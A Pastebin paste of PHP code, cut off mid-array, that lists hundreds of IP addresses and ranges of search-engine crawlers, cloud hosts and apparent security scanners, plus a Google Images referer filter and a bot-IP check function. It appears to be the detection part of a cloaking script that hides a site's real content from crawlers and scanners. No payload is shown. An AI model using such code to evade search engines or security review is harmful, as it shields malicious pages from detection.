Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ?><?php
- $black_ips=array(
- array('54.0.0.0', '54.255.255.255'),
- );
- $bad_ips=array(
- "/^8.6.48.[0-9]+$/",
- "/^24.200.208.112$/",
- "/^38.[0-9]+.[0-9]+.[0-9]+$/",
- "/^64.68.8[0-9].[0-9]+$/",
- "/^64.68.8[0-9].[0-9]+$/",
- "/^64.68.9[0-2].[0-9]+$/",
- "/^64.69.34.134$/",
- "/^64.233.1[6-8][1-9].[0-9]+$/",
- "/^64.233.173.[0-9]+$/",
- "/^64.233.19[0-1].[0-9]+$/",
- "/^65.33.87.94$/",
- "/^65.5[2-5].[0-9]+.[0-9]+$/",
- "/^91.239.15.62$/",
- "/^91.239.15.63$/",
- "/^91.239.15.61$/",
- "/^65.93.62.242$/",
- "/^66.230.175.124$/",
- "/^66.249.[6-9][0-9].[0-9]+$/",
- "/^66.255.53.123$/",
- "/^67.162.158.146$/",
- "/^67.195.[0-9]+.[0-9]+$/",
- "/^67.210.111.241$/",
- "/^70.50.189.191$/",
- "/^70.91.180.25$/",
- "/^71.165.223.134$/",
- "/^72.14.199.[0-9]+$/",
- "/^72.30.[0-9]+.[0-9]+$/",
- "/^74.6.[0-9]+.[0-9]+$/",
- "/^74.125.[0-9]+.[0-9]+$/",
- "/^74.193.246.129$/",
- "/^81.135.175.70$/",
- "/^89.122.224.230$/",
- "/^89.149.217.191$/",
- "/^89.149.253.169$/",
- "/^93.172.94.227$/",
- "/^93.190.141.10$/",
- "/^118.124.32.193$/",
- "/^129.187.148.240$/",
- "/^129.187.148.244$/",
- "/^165.160.2.20$/",
- "/^195.92.229.2$/",
- "/^199.126.151.229$/",
- "/^218.28.88.99$/",
- "/^207.211.40.82$/",
- "/^209.85.238.[0-9]+$/",
- "/^209.185.108.[0-9]+$/",
- "/^209.185.253.[0-9]+$/",
- "/^212.100.250.218$/",
- "/^213.144.15.38$/",
- "/^216.33.229.163$/",
- "/^216.239.33.9[6-9]$/",
- "/^216.239.37.9[8-9]$/",
- "/^216.239.39.9[8-9]$/",
- "/^216.239.41.9[6-9]$/",
- "/^216.239.45.4$/",
- "/^216.239.46.[0-9]+$/",
- "/^216.239.51.9[6-9]$/",
- "/^216.239.53.9[8-9]$/",
- "/^216.239.57.9[6-9]$/",
- "/^216.239.59.9[8-9]$/",
- "/^218.18.174.27$/",
- //My adding
- "/^187.45.232.[0-9]+$/",
- "/^76.74.159.[0-9]+$/",
- "/^174.29./",
- "/^174.16./",
- "/^76.74.159./",
- "/^64.79.218./",
- "/^198.154.205./",
- "/^23.22.184./",
- "/^184.169.219./",
- //After Filter
- "/142.4.116.5[6-9]/",
- "/142.4.116.6[0-3]/",
- "/168.6[1-3]./",
- "/94.23.19[2-9]./",
- "/94.23.2[0-5][0-9]./",
- "/91.121./",
- "/178.150.51./",
- "/5.39.6[4-9]./",
- "/5.39.7[0-9]./",
- "/38.111.144.145/",
- "/46.118.159./",
- "/46.223.250.66/",
- "/66.249.[6-9][0-9]./",
- "/46.105.9[6-9]./",
- "/46.105.1[0-2][0-9]./",
- //Static
- "/94.242.237.28/",
- "/94.231.77.35/",
- "/89.71.146.130/",
- "/82.146.42.42/",
- "/94.231.65.183/",
- "/188.143.232.60/",
- "/168.61.18.129/",
- "/168.62.212.190/",
- "/94.231.69.235/",
- "/94.242.237.5/",
- "/89.76.147.183/",
- "/199.217.115.9/",
- "/222.77.213.76/",
- "/91.196.54.33/",
- "/79.234.74.152/",
- "/86.200.167.167/",
- "/54.241.121.52/",
- "/192.74.236.165/",
- "/94.231.67.86/",
- "/68.226.155.63/",
- "/93.115.84.131/",
- "/178.137.87.26/",
- "/82.135.241.118/",
- "/184.169.203.101/",
- "/84.200.32.253/",
- "/61.55.141.10/",
- "/190.120.229.138/",
- "/192.74.237.188/",
- "/117.26.116.184/",
- "/84.200.14.65/",
- "/157.86.172.250/",
- "/184.72.137.57/",
- "/54.245.11.176/",
- "/199.116.118.236/",
- "/184.169.249.148/",
- "/222.77.224.217/",
- "/176.8.88.20/",
- "/176.31.224.2/",
- "/188.143.232.111/",
- "/188.143.232.60/",
- "/142.4.116.60/",
- "/94.23.199.49/",
- "/178.150.51.125/",
- "/66.249.82.72/",
- "/5.39.67.46/",
- "/91.121.8.209/",
- "/66.249.85.115/",
- "/37.59.10.138/",
- "/168.61.17.216/",
- "/46.105.118.177/",
- "/89.71.146.130/",
- "/192.74.236.165/",
- "/66.249.82.235/",
- "/176.31.224.2/",
- "/66.249.85.107/",
- "/192.74.237.188/",
- "/109.73.160.17/",
- "/89.76.147.183/",
- "/46.118.159.152/",
- "/66.249.81.72/",
- "/50.17.174.210/",
- "/91.207.5.161/",
- "/173.237.179.196/",
- "/178.170.124.210/",
- "/199.83.92.162/",
- "/222.77.213.76/",
- "/61.55.141.10/",
- "/178.137.87.26/",
- "/50.112.120.121/",
- "/141.101.237.49/",
- "/54.245.26.43/",
- "/203.81.226.69/",
- "/216.152.246.60/",
- "/150.70.75.36/",
- "/46.119.119.64/",
- "/86.200.167.167/",
- "/54.241.74.44/",
- "/184.169.249.148/",
- "/54.241.121.52/",
- "/54.245.42.120/",
- "/54.241.107.171/",
- "/46.105.144.71/",
- "/150.70.75.29/",
- "/176.8.88.20/",
- "/137.110.222.250/",
- "/91.207.5.54/",
- "/74.125.18.154/",
- "/27.153.187.120/",
- "/46.118.123.59/",
- "/74.125.18.213/",
- "/58.22.123.98/",
- "/74.125.18.153/",
- "/74.125.18.210/",
- "/74.125.18.157/",
- "/121.205.212.141/",
- "/74.125.16.211/",
- "/1.161.134.80/",
- "/23.20.222.6/",
- "/212.117.180.73/",
- "/150.70.172.109/",
- "/150.70.172.104/",
- "/82.135.241.118/",
- "/184.72.137.57/",
- "/50.16.71.127/",
- "/74.125.18.144/",
- "/74.125.16.209/",
- "/5.39.69.34/",
- "/150.70.64.216/",
- "/74.125.16.83/",
- "/74.125.18.215/",
- "/83.6.209.241/",
- "/74.125.16.210/",
- "/74.125.16.215/",
- "/54.241.70.71/",
- "/74.125.16.214/",
- "/117.26.116.184/",
- "/74.125.16.86/",
- "/74.125.16.213/",
- "/74.125.18.150/",
- "/125.78.241.9/",
- "/74.125.16.212/",
- "/74.125.16.91/",
- "/74.125.18.211/",
- "/168.221.159.18/",
- "/150.70.172.105/",
- "/74.125.16.95/",
- "/204.11.50.131/",
- "/50.62.131.124/",
- "/54.241.88.186/",
- "/74.125.16.90/",
- "/74.125.18.163/",
- "/74.125.189.21/",
- "/91.201.64.223/",
- "/74.125.18.155/",
- "/211.72.203.145/",
- "/74.125.18.145/",
- "/54.241.93.140/",
- "/74.125.18.212/",
- "/74.125.18.147/",
- "/74.125.16.81/",
- "/74.125.16.82/",
- "/74.125.16.80/",
- "/67.228.179.11/",
- "/150.70.64.210/",
- "/91.207.6.150/",
- "/74.125.189.18/",
- "/74.125.18.158/",
- "/150.70.172.125/",
- "/74.125.16.87/",
- "/74.125.18.162/",
- "/74.125.18.209/",
- "/50.112.202.59/",
- "/5.39.73.177/",
- "/90.231.22.228/",
- "/74.125.16.93/",
- "/74.125.18.148/",
- "/216.152.252.35/",
- "/222.77.224.217/",
- "/74.125.16.88/",
- "/74.125.18.151/",
- "/168.62.212.190/",
- "/150.70.75.37/",
- "/74.125.18.160/",
- "/150.70.64.193/",
- "/150.70.172.203/",
- "/178.137.95.221/",
- "/91.236.74.121/",
- "/74.125.16.94/",
- "/74.125.18.161/",
- "/54.245.11.176/",
- "/150.70.172.208/",
- "/74.125.16.223/",
- "/175.156.129.103/",
- "/74.125.18.214/",
- "/62.24.252.133/",
- "/204.8.156.142/",
- "/74.125.189.22/",
- "/74.125.189.16/",
- "/150.70.172.209/",
- "/74.125.16.92/",
- "/74.125.18.159/",
- "/74.125.189.20/",
- "/74.125.16.85/",
- "/184.169.232.12/",
- "/222.76.93.110/",
- "/216.99.152.114/",
- "/188.165.112.228/",
- "/192.74.237.177/",
- "/54.241.54.166/",
- "/142.4.117.121/",
- "/74.125.16.89/",
- "/74.125.18.152/",
- "/74.125.18.146/",
- "/24.46.188.240/",
- "/74.125.16.84/",
- "/200.165.161.254/",
- "/94.242.237.11/",
- "/222.187.222.36/",
- "/74.125.189.19/",
- "/4.71.214.85/",
- "/168.221.143.68/",
- "/113.212.70.147/",
- "/108.226.135.90/",
- "/74.125.18.149/",
- "/74.125.16.222/",
- "/150.70.75.31/",
- "/94.23.211.76/",
- "/150.70.64.212/",
- "/50.18.138.52/",
- "/119.147.146.118/",
- "/91.196.52.67/",
- "/194.143.144.182/",
- "/87.251.179.164/",
- "/115.111.158.174/",
- "/27.159.228.152/",
- "/173.187.146.142/",
- "/54.241.51.182/",
- "/91.207.4.122/",
- "/74.125.189.17/",
- "/103.21.208.46/",
- "/125.78.241.3/",
- "/91.196.54.74/",
- "/77.87.36.179/",
- "/178.168.64.194/",
- "/94.231.69.168/",
- "/150.70.172.204/",
- "/94.231.67.181/",
- "/199.15.234.64/",
- "/93.182.129.86/",
- "/74.125.189.23/",
- "/188.165.205.101/",
- "/108.59.78.213/",
- "/46.118.115.91/",
- "/66.229.76.253/",
- "/74.125.18.156/",
- "/178.137.169.241/",
- "/218.6.8.7/",
- "/74.125.17.146/",
- "/121.207.161.162/",
- "/91.237.249.99/",
- "/23.20.171.61/",
- "/41.213.134.137/",
- "/216.239.45.88/",
- "/50.18.148.174/",
- "/74.125.18.208/",
- "/80.40.134.120/",
- "/54.245.150.248/",
- "/50.18.84.78/",
- "/216.244.82.114/",
- "/75.125.39.228/",
- "/112.205.195.34/",
- "/74.125.17.215/",
- "/91.207.4.2/",
- "/58.26.189.13/",
- "/74.125.17.209/",
- "/74.125.18.230/",
- "/115.99.249.31/",
- "/117.26.117.2/",
- "/218.186.15.10/",
- "/99.150.159.223/",
- "/74.125.17.148/",
- "/190.141.137.185/",
- "/91.236.74.104/",
- "/74.125.17.151/",
- "/168.221.159.22/",
- "/50.18.18.198/",
- "/184.169.192.37/",
- "/60.169.77.119/",
- "/107.0.50.253/",
- "/120.43.5.94/",
- "/168.62.169.221/",
- "/113.212.70.244/",
- "/36.248.124.192/",
- "/113.107.200.217/",
- "/108.46.198.98/",
- "/184.169.190.120/",
- "/112.101.64.33/",
- "/190.197.17.62/",
- "/91.121.243.254/",
- "/188.143.232.111/",
- "/180.211.180.5/",
- "/46.118.152.156/",
- "/46.118.159.39/",
- "/46.119.122.130/",
- "/178.150.51.125/",
- "/88.190.43.198/",
- "/178.137.82.108/",
- "/157.55.36.52/",
- "/157.55.32.190/",
- "/157.55.34.183/",
- "/157.55.32.116/",
- "/157.55.36.39/",
- "/157.55.35.34/",
- "/157.56.229.184/",
- "/168.61.17.216/",
- "/157.55.35.91/",
- "/157.55.36.50/",
- "/157.55.36.36/",
- "/199.217.115.9/",
- "/37.1.192.40/",
- "/208.115.111.72/",
- "/208.115.113.88/",
- "/216.59.3.178/",
- "/157.55.33.123/",
- "/184.169.203.101/",
- "/142.4.116.60/",
- "/79.119.159.239/",
- "/5.9.143.180/",
- "/80.82.66.216/",
- "/204.124.181.85/",
- "/142.4.117.121/",
- "/50.18.21.225/",
- "/88.151.93.158/",
- "/94.23.199.49/",
- "/65.55.24.237/",
- "/93.115.86.162/",
- "/91.121.8.209/",
- "/88.190.44.26/",
- "/178.150.51.131/",
- "/174.139.21.244/",
- "/83.237.102.107/",
- "/86.122.39.137/",
- "/5.39.67.46/",
- "/173.208.173.251/",
- "/205.209.190.116/",
- "/142.4.208.185/",
- "/77.248.252.113/",
- "/94.23.23.127/",
- "/46.223.250.66/",
- "/5.9.113.104/",
- "/65.55.52.119/",
- "/65.52.0.51/",
- "/81.190.110.56/",
- "/63.232.227.10/",
- "/157.55.34.168/",
- "/38.111.144.145/",
- "/37.157.193.84/",
- "/216.244.79.170/",
- "/173.234.232.135/",
- "/168.62.212.190/",
- "/212.59.28.53/",
- "/46.118.159.152/",
- "/173.234.232.244/",
- "/173.234.181.208/",
- "/173.234.181.106/",
- "/89.47.28.86/",
- "/157.55.32.62/",
- "/173.234.232.8/",
- "/173.208.39.66/",
- "/173.234.181.72/",
- "/173.234.181.31/",
- "/173.208.46.237/",
- "/173.234.58.132/",
- "/173.234.232.222/",
- "/89.47.28.105/",
- "/173.234.232.65/",
- "/173.208.39.23/",
- "/173.234.232.159/",
- "/173.234.232.95/",
- "/173.234.58.163/",
- "/198.27.64.172/",
- "/37.59.76.162/",
- "/173.234.232.127/",
- "/66.249.82.235/",
- "/88.183.146.178/",
- "/91.108.177.117/",
- "/173.208.46.96/",
- "/94.23.42.208/",
- "/65.55.24.236/",
- "/37.221.163.172/",
- "/178.32.160.89/",
- "/151.237.189.188/",
- "/46.105.118.177/",
- "/66.249.85.107/",
- "/82.146.42.42/",
- "/176.31.224.2/",
- "/83.237.126.96/",
- "/157.55.33.79/",
- "/178.33.173.191/",
- "/147.255.162.182/",
- "/157.56.93.201/",
- "/142.4.127.28/",
- "/157.55.32.84/",
- "/168.62.197.75/",
- "/192.119.144.161/",
- "/94.242.237.28/",
- "/91.108.177.179/",
- "/157.55.33.248/",
- "/94.231.77.35/",
- "/192.119.144.208/",
- "/157.55.34.179/",
- "/93.174.93.194/",
- "/89.71.146.130/",
- "/192.119.144.220/",
- "/96.9.141.234/",
- "/157.55.35.93/",
- "/94.242.241.105/",
- "/173.245.90.162/",
- "/96.9.141.237/",
- "/209.73.154.97/",
- "/157.55.33.112/",
- "/96.9.141.236/",
- "/142.4.97.161/",
- "/96.9.141.227/",
- "/50.31.105.166/",
- "/96.9.141.228/",
- "/94.242.241.87/",
- "/184.82.10.99/",
- "/69.46.89.24/",
- "/96.9.141.231/",
- "/184.82.10.102/",
- "/192.119.148.206/",
- "/94.242.241.106/",
- "/157.56.229.87/",
- "/184.82.10.108/",
- "/96.9.141.230/",
- "/5.144.176.56/",
- "/184.82.10.100/",
- "/142.4.117.44/",
- "/212.59.28.77/",
- "/94.242.241.201/",
- "/64.191.118.70/",
- "/173.245.220.175/",
- "/184.82.10.98/",
- "/96.9.141.235/",
- "/96.9.141.229/",
- "/50.31.105.238/",
- "/64.191.118.68/",
- "/96.9.141.233/",
- "/216.172.131.48/",
- "/173.245.194.180/",
- "/142.4.117.33/",
- "/96.9.141.238/",
- "/206.214.93.106/",
- "/209.73.154.77/",
- "/185.3.132.209/",
- "/184.82.10.109/",
- "/94.231.65.183/",
- "/64.145.83.135/",
- "/184.82.10.104/",
- "/157.55.32.94/",
- "/69.46.94.242/",
- "/188.143.232.60/",
- "/69.64.64.195/",
- "/205.164.63.119/",
- "/192.119.148.62/",
- "/209.107.208.69/",
- "/184.82.10.101/",
- "/168.61.18.129/",
- "/69.46.89.233/",
- "/50.31.105.183/",
- "/184.73.14.223/",
- "/5.144.176.86/",
- "/173.245.90.40/",
- "/77.222.61.99/",
- "/64.191.118.67/",
- "/67.209.190.75/",
- "/157.55.32.102/",
- "/50.31.9.35/",
- "/184.82.10.110/",
- "/173.245.194.156/",
- "/173.245.194.91/",
- "/64.191.118.71/",
- "/83.237.126.119/",
- "/185.3.132.220/",
- "/69.46.89.91/",
- "/96.9.141.232/",
- "/192.119.148.150/",
- "/71.5.110.140/",
- "/5.144.176.134/",
- "/65.55.52.87/",
- "/50.31.9.208/",
- "/64.191.118.69/",
- "/5.144.176.246/",
- "/184.82.10.103/",
- "/5.144.176.130/",
- "/64.191.118.72/",
- "/64.191.118.66/",
- "/185.3.132.222/",
- "/5.144.176.75/",
- "/209.73.154.247/",
- "/157.55.32.184/",
- "/74.112.131.112/",
- "/209.107.208.166/",
- "/157.55.32.96/",
- "/5.144.176.216/",
- "/5.144.176.114/",
- "/185.3.132.217/",
- "/5.144.176.142/",
- "/192.119.148.151/",
- "/157.56.93.191/",
- "/5.144.176.22/",
- "/5.144.176.118/",
- "/5.144.176.124/",
- "/209.107.208.106/",
- "/5.144.176.65/",
- "/5.144.176.45/",
- "/5.144.176.6/",
- "/64.191.118.73/",
- "/74.112.131.108/",
- "/5.144.176.221/",
- "/209.107.208.25/",
- "/193.6.173.22/",
- "/74.112.131.110/",
- "/5.144.176.36/",
- "/67.209.190.84/",
- "/173.245.2.180/",
- "/5.144.176.165/",
- "/5.144.176.195/",
- "/157.55.35.52/",
- "/94.231.69.235/",
- "/173.245.2.187/",
- "/67.209.190.91/",
- "/67.209.190.77/",
- "/74.112.131.114/",
- "/5.144.176.202/",
- "/192.74.240.236/",
- "/208.107.54.150/",
- "/199.188.205.38/",
- "/67.209.190.88/",
- "/157.55.33.20/",
- "/216.152.252.35/",
- "/50.17.128.3/",
- "/67.209.190.94/",
- "/178.158.66.146/",
- "/74.112.131.113/",
- "/157.86.172.250/",
- "/216.152.251.77/",
- "/69.172.215.82/",
- "/199.193.70.230/",
- "/74.125.189.18/",
- "/176.31.40.207/",
- "/157.55.33.17/",
- "/67.209.190.82/",
- "/74.112.131.111/",
- "/94.242.237.5/",
- "/207.70.3.138/",
- "/173.245.2.185/",
- "/83.237.106.200/",
- "/173.245.2.183/",
- "/93.100.116.6/",
- "/76.76.101.218/",
- "/178.32.212.86/",
- "/207.70.60.18/",
- "/58.8.52.8/",
- "/184.82.138.125/",
- "/78.146.154.215/",
- "/173.245.2.184/",
- "/67.209.190.93/",
- "/157.56.229.88/",
- "/67.209.190.81/",
- "/67.209.190.86/",
- "/74.125.189.16/",
- "/65.55.24.219/",
- "/173.245.2.182/",
- "/46.246.116.244/",
- "/202.157.176.180/",
- "/90.192.141.157/",
- "/184.173.199.234/",
- "/65.55.52.94/",
- "/89.76.147.183/",
- "/93.115.84.131/",
- "/69.171.247.117/",
- "/67.209.190.79/",
- "/110.168.214.218/",
- "/31.172.30.3/",
- "/74.125.189.22/",
- "/46.165.221.166/",
- "/74.125.189.17/",
- "/71.237.196.54/",
- "/84.200.14.65/",
- "/157.55.32.189/",
- "/74.125.189.20/",
- "/58.8.129.67/",
- "/222.77.213.76/",
- "/37.130.227.133/",
- "/64.89.178.160/",
- "/67.214.185.154/",
- "/206.207.116.58/",
- "/173.245.2.186/",
- "/67.209.190.85/",
- "/62.128.150.11/",
- "/176.227.195.52/",
- "/173.245.2.181/",
- "/77.67.80.66/",
- "/69.171.247.114/",
- "/207.70.25.58/",
- "/173.245.2.191/",
- "/91.196.54.33/",
- "/190.120.229.138/",
- "/94.23.195.192/",
- "/85.25.117.168/",
- "/67.209.190.90/",
- "/216.52.242.16/",
- "/66.220.152.4/",
- "/69.171.247.112/",
- "/84.200.32.253/",
- "/173.252.110.116/",
- "/66.220.152.7/",
- "/67.209.190.80/",
- "/173.245.2.188/",
- "/173.245.2.189/",
- "/79.234.74.152/",
- "/173.252.100.114/",
- "/207.70.60.21/",
- "/157.55.35.32/",
- "/82.211.34.180/",
- "/173.252.101.115/",
- "/74.125.189.23/",
- "/178.158.65.232/",
- "/67.209.190.92/",
- "/216.52.242.14/",
- "/65.55.52.116/",
- "/173.252.110.119/",
- "/173.252.101.113/",
- "/173.252.110.115/",
- "/209.19.152.67/",
- "/173.252.110.118/",
- "/66.220.152.0/",
- "/86.200.167.167/",
- "/69.171.247.116/",
- "/66.220.152.6/",
- "/69.171.247.119/",
- "/173.252.100.118/",
- "/74.125.189.21/",
- "/66.220.152.1/",
- "/173.252.110.117/",
- "/69.171.242.115/",
- "/208.80.194.149/",
- "/66.220.152.3/",
- "/173.252.100.115/",
- "/107.22.18.158/",
- "/66.220.152.2/",
- "/54.241.121.52/",
- "/173.252.110.114/",
- "/61.55.141.10/",
- "/65.55.52.113/",
- "/157.56.229.190/",
- "/173.245.2.190/",
- "/23.20.117.145/",
- "/69.171.247.118/",
- "/67.209.190.78/",
- "/173.245.2.192/",
- "/216.244.86.130/",
- "/173.252.101.112/",
- "/192.74.236.165/",
- "/173.252.100.119/",
- "/62.24.252.133/",
- "/91.121.122.92/",
- "/67.209.190.89/",
- "/74.125.189.19/",
- "/184.169.219.228/",
- "/94.231.67.86/",
- "/72.188.202.76/",
- "/173.252.100.116/",
- "/67.209.190.76/",
- "/65.55.24.220/",
- "/209.66.70.253/",
- "/69.171.237.13/",
- "/69.171.247.113/",
- "/206.80.114.179/",
- "/173.252.110.112/",
- "/69.171.237.11/",
- "/157.55.33.111/",
- "/178.235.12.84/",
- "/173.252.101.118/",
- "/209.19.152.75/",
- "/157.55.32.146/",
- "/84.200.2.81/",
- "/69.171.242.117/",
- "/2.102.102.198/",
- "/150.70.97.42/",
- "/190.141.228.211/",
- "/173.252.101.116/",
- "/67.209.190.87/",
- "/69.171.247.115/",
- "/108.171.248.250/",
- "/204.124.83.131/",
- "/74.112.131.152/",
- "/68.226.155.63/",
- "/69.171.237.14/",
- "/206.207.80.163/",
- "/173.252.101.119/",
- "/96.44.189.102/",
- "/69.171.229.118/",
- "/157.56.229.23/",
- "/69.171.242.116/",
- "/23.22.209.88/",
- "/96.47.226.19/",
- "/94.23.247.65/",
- "/173.252.100.112/",
- "/95.215.60.30/",
- "/173.252.100.117/",
- "/69.171.242.118/",
- "/209.19.182.88/",
- "/178.137.87.26/",
- "/83.169.41.106/",
- );
- $bad_ips=array_unique($bad_ips);
- $bad_referers=array(
- '!images.google.!',
- );
- function check_bot_ip($ip) {
- $ranges=array(
- array('65.52.0.0', '65.55.255.255'),
- array('157.54.0.0', '157.60.255.255'),
- array('168.61.0.0', '168.63.255.255'),
- array('66.249.64.0', '66.249.95.255'),
- array('74.125.0.0', '74.125.255.255'),
- array('173.194.0.0', '173.194.255.255'),
- array('216.239.32.0', '216.239.63.255'),
- array('103.15.60.0', '103.15.63.255'),
- array('116.68.240.0', '116.68.247.255'),
- array('210.212.97.128', '210.212.97.191'),
- array('14.139.245.0', '14.139.245.63'),
- array('116.255.128.0', '116.255.255.255'),
- array('194.82.48.0', '194.82.51.255'),
- array('124.40.244.192', '124.40.244.255'),
- array('41.74.32.0', '41.74.47.255'),
- array('146.151.0.0', '146.151.255.255'),
- array('5.39.12.60', '5.39.12.63'),
- array('37.59.232.244', '37.59.232.247'),
- array('124.40.244.64', '124.40.244.127'),
- array('207.46.0.0', '207.46.255.255'),
- array('218.100.84.0', '218.100.84.255'),
- array('210.212.212.64', '210.212.212.79'),
- array('117.239.187.32', '117.239.187.39'),
- array('216.213.56.0', '216.213.56.255'),
- array('117.239.13.208', '117.239.13.223'),
- array('103.5.132.0', '103.5.135.255'),
- array('119.15.94.0', '119.15.94.255'),
- array('81.89.56.0', '81.89.56.255'),
- array('197.159.0.0', '197.159.31.255'),
- array('131.253.21.0', '131.253.47.255'),
- array('94.245.64.0', '94.245.127.255'),
- array('14.139.43.0', '14.139.43.255'),
- array('180.148.208.0', '180.148.215.255'),
- array('94.23.176.112', '94.23.176.115'),
- array('41.78.224.0', '41.78.224.31'),
- array('124.40.244.1', '124.40.244.7'),
- array('12.0.0.0', '12.255.255.255'),
- array('203.110.237.0', '203.110.237.255'),
- array('103.21.184.0', '103.21.187.255'),
- array('210.212.219.240', '210.212.219.255'),
- array('74.118.16.0', '74.118.23.255'),
- array('65.112.0.0', '65.127.255.255'),
- array('210.212.20.192', '210.212.20.207'),
- array('103.23.136.0', '103.23.139.255'),
- array('72.14.192.0', '72.14.255.255'),
- array('119.42.156.0', '119.42.156.255'),
- array('218.248.4.96', '218.248.4.127'),
- array('131.151.0.0', '131.151.255.255'),
- array('66.135.64.0', '66.135.95.255'),
- array('72.33.0.0', '72.33.255.255'),
- array('209.130.128.0', '209.130.223.255'),
- array('117.239.7.48', '117.239.7.63'),
- array('183.177.124.0', '183.177.127.255'),
- array('14.139.221.32', '14.139.221.47'),
- array('27.100.13.0', '27.100.13.255'),
- array('117.239.187.176', '117.239.187.183'),
- array('124.83.128.0', '124.83.255.255'),
- array('117.239.12.112', '117.239.12.127'),
- array('117.239.74.0', '117.239.74.7'),
- array('210.212.246.128', '210.212.246.135'),
- array('218.248.30.112', '218.248.30.127'),
- array('210.212.20.32', '210.212.20.63'),
- array('209.131.32.0', '209.131.63.255'),
- array('199.30.16.0', '199.30.31.255'),
- array('137.117.0.0', '137.117.255.255'),
- array('202.146.184.0', '202.146.185.255'),
- array('178.32.190.136', '178.32.190.139'),
- array('176.31.59.240', '176.31.59.243'),
- array('119.42.155.0', '119.42.155.255'),
- array('178.33.210.128', '178.33.210.131'),
- array('178.32.176.32', '178.32.176.35'),
- array('124.40.247.0', '124.40.247.127'),
- array('192.132.228.0', '192.132.228.255'),
- array('111.91.224.0', '111.91.231.255'),
- array('176.31.60.136', '176.31.60.139'),
- array('144.76.95.0', '144.76.95.255'),
- array('204.12.208.0', '204.12.208.255'),
- array('69.30.238.0', '69.30.238.255'),
- array('69.197.128.0', '69.197.128.255'),
- array('199.58.86.0', '199.58.86.255'),
- array('46.165.197.0', '46.165.197.255'),
- array('108.59.8.0', '108.59.8.255'),
- array('184.154.48.0', '184.154.48.255'),
- array('173.208.165.0', '173.208.165.255'),
- array('173.208.150.0', '173.208.150.255'),
- array('173.242.125.0', '173.242.125.255'),
- array('69.197.129.0', '69.197.129.255'),
- array('173.236.21.0', '173.236.21.255'),
- array('208.107.30.0', '208.107.30.255'),
- array('144.76.121.0', '144.76.121.255'),
- array('62.212.73.0', '62.212.73.255'),
- array('83.149.126.0', '83.149.126.255'),
- array('63.147.126.0', '63.147.126.255'),
- array('109.64.66.0', '109.64.66.255'),
- array('146.52.224.0', '146.52.224.255'),
- array('178.151.143.0', '178.151.143.255'),
- array('173.199.116.0', '173.199.116.255'),
- array('198.74.231.0', '198.74.231.255'),
- array('144.76.92.0', '144.76.92.255'),
- array('24.230.50.0', '24.230.50.255'),
- array('74.112.202.0', '74.112.202.255'),
- array('62.194.71.0', '62.194.71.255'),
- array('173.199.119.0', '173.199.119.255'),
- array('180.76.5.0', '180.76.5.255'),
- array('67.219.96.0', '67.219.96.255'),
- array('31.31.73.0', '31.31.73.255'),
- array('193.111.141.0', '193.111.141.255'),
- array('178.32.218.0', '178.32.218.255'),
- array('37.59.213.0', '37.59.213.255'),
- array('86.6.184.0', '86.6.184.255'),
- array('24.230.51.0', '24.230.51.255'),
- array('173.208.180.0', '173.208.180.255'),
- array('208.80.194.0', '208.80.194.255'),
- array('178.137.163.0', '178.137.163.255'),
- array('80.57.78.0', '80.57.78.255'),
- array('91.66.86.0', '91.66.86.255'),
- array('144.76.22.0', '144.76.22.255'),
- array('213.93.59.0', '213.93.59.255'),
- array('5.199.133.0', '5.199.133.255'),
- array('79.114.106.0', '79.114.106.255'),
- array('195.159.221.0', '195.159.221.255'),
- array('178.25.80.0', '178.25.80.255'),
- array('84.104.91.0', '84.104.91.255'),
- array('81.111.215.0', '81.111.215.255'),
- array('84.202.94.0', '84.202.94.255'),
- array('178.137.93.0', '178.137.93.255'),
- array('173.11.68.0', '173.11.68.255'),
- array('76.186.189.0', '76.186.189.255'),
- array('212.50.133.0', '212.50.133.255'),
- array('85.19.205.0', '85.19.205.255'),
- array('77.21.216.0', '77.21.216.255'),
- array('93.115.94.0', '93.115.94.255'),
- array('46.119.121.0', '46.119.121.255'),
- array('203.77.76.0', '203.77.76.255'),
- array('80.202.155.0', '80.202.155.255'),
- array('173.0.61.0', '173.0.61.255'),
- array('194.44.218.0', '194.44.218.255'),
- array('84.202.119.0', '84.202.119.255'),
- array('5.9.147.0', '5.9.147.255'),
- array('209.222.102.0', '209.222.102.255'),
- array('93.63.195.0', '93.63.195.255'),
- array('93.93.120.0', '93.93.120.255'),
- array('84.2.80.0', '84.2.80.255'),
- array('87.194.95.0', '87.194.95.255'),
- array('83.108.138.0', '83.108.138.255'),
- array('79.161.51.0', '79.161.51.255'),
- array('182.18.1.0', '182.18.1.255'),
- array('180.76.6.0', '180.76.6.255'),
- array('69.162.95.0', '69.162.95.255'),
- array('137.175.105.0', '137.175.105.255'),
- array('75.134.151.0', '75.134.151.255'),
- array('176.8.90.0', '176.8.90.255'),
- array('88.112.57.0', '88.112.57.255'),
- array('195.211.146.0', '195.211.146.255'),
- array('71.13.87.0', '71.13.87.255'),
- array('176.198.38.0', '176.198.38.255'),
- array('93.219.96.0', '93.219.96.255'),
- array('74.111.38.0', '74.111.38.255'),
- array('86.166.236.0', '86.166.236.255'),
- array('60.166.49.0', '60.166.49.255'),
- array('208.115.216.0', '208.115.216.255'),
- array('86.7.37.0', '86.7.37.255'),
- array('174.45.116.0', '174.45.116.255'),
- array('125.24.69.0', '125.24.69.255'),
- array('82.134.52.0', '82.134.52.255'),
- array('93.219.97.0', '93.219.97.255'),
- array('95.89.229.0', '95.89.229.255'),
- array('5.135.163.0', '5.135.163.255'),
- array('60.173.11.0', '60.173.11.255'),
- array('76.65.195.0', '76.65.195.255'),
- array('91.64.204.0', '91.64.204.255'),
- array('74.63.223.0', '74.63.223.255'),
- array('36.40.238.0', '36.40.238.255'),
- array('77.56.197.0', '77.56.197.255'),
- array('23.21.115.0', '23.21.115.255'),
- array('66.188.48.0', '66.188.48.255'),
- array('84.25.175.0', '84.25.175.255'),
- array('157.55.35.0', '157.55.35.255'),
- array('23.21.120.0', '23.21.120.255'),
- array('107.22.19.0', '107.22.19.255'),
- array('80.77.45.0', '80.77.45.255'),
- array('62.64.65.0', '62.64.65.255'),
- array('46.105.114.0', '46.105.114.255'),
- array('5.9.150.0', '5.9.150.255'),
- array('5.146.213.0', '5.146.213.255'),
- array('204.68.144.0', '204.68.144.255'),
- array('77.100.248.0', '77.100.248.255'),
- array('46.19.39.0', '46.19.39.255'),
- array('24.139.76.0', '24.139.76.255'),
- array('212.116.72.0', '212.116.72.255'),
- array('84.92.200.0', '84.92.200.255'),
- array('37.59.32.0', '37.59.32.255'),
- array('188.143.232.0', '188.143.232.255'),
- array('80.108.65.0', '80.108.65.255'),
- array('80.248.212.0', '80.248.212.255'),
